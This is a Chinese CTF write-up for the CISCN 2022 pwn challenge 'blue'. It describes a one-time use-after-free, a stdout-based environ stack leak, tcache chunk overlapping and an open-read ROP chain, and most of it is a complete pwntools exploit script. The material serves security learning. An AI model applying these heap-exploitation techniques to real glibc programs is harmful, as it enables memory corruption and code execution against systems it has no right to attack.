ciscn 2022 华东北分区赛pwn blue
开了沙盒
最简单的解法还是借助environ来控制ret地址,然后将ret改成orw链即可。这一题的关键点在于怎么泄露出environ里面的栈地址,因为show功能只能使用一次。
这一题的漏洞点是一次性的uaf漏洞,在666功能下
我们首先先借助这一次性的uaf泄露出libc。还是填满tcache,只不过下一个进unsorted bin的时候利用666这个uaf功能。
接下来思考一下如何泄露出environ里面的值,show是一次性的已经用不了。仔细思考一下不难想出利用stdout来泄露,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8那里的地址是不是就可以泄露出environ的值了。
最关键的难点解决了,接下来就是申请到stdout那里,利用overlapping即可。将一个属于之前释放进tcache bin范围的chunk链入属于unsortedbin的chunk那里。因为uaf,所以再次释放unsortedbin的那个chunk,这样的话就可以形成堆块重叠可以控制到fd进行任意地址申请。
粉色是两具unsortedbin合并了,蓝色是从unsortedbin分割后的chunk,而蓝色里面的黄色是属于tcache bin的chunk,形成了上图的overlapping。(这里理解一下就行,说的有一点乱)
任意地址申请到stdout那里并泄露出stack,算出add的ret,然后再利用任意地址申请到ret,在ret这里放好布置好的orw链即可get flag,exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('192.168.166.139', 58012)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = 'Choice: '
def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Please input size: ', str(size))
r.sendafter('Please input content: ', content)
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Please input idx: ', str(index))
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Please input idx: ', str(index))
for i in range(9):
add(0x80, 'aaaa')
add(0x80, 'aaaa')
for i in range(7):
delete(i)
r.sendlineafter(menu, '666')
r.sendlineafter('Please input idx: ', '8')
show(8)
show_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('show_addr = ' + hex(show_addr))
libc_base = show_addr - 0x1ecbe0
libc = ELF('./libc.so.6')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))
delete(7)
add(0x80, 'aaaa') #0
delete(8)
add(0x70, 'bbbb') #1
p1 = p64(0) + p64(0x91) + p64(stdout)
add(0x70, p1) # 2
add(0x80, 'cccc') # 3
p2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2
add(0x80, p2) #4
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128
li('stack_addr = ' + hex(stack_addr))
delete(3)
delete(2)
p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3)#2
add(0x80, 'dddd') #3
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rdi_ret = libc_base + 0x0000000000023b6a
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base +0x000000000002601f
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x0000000000142c92 + libc_base
flag_addr = stack_addr
ppp = stack_addr + 0x200
p4 = b'./flag\x00\x00'
# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, p4)
r.interactive()
这一题肯定不止这一种方法,也可以攻击_rtld_global 这个结构体,将stdout里面的vtable劫持一下,orw链放到该放的地方,然后触发即可。比借助environ这个方法麻烦一点,笔者这一题就不再深挖了(glibc这种pwn笔者不想陷得太深,看到有意思的题目学习一下就行了)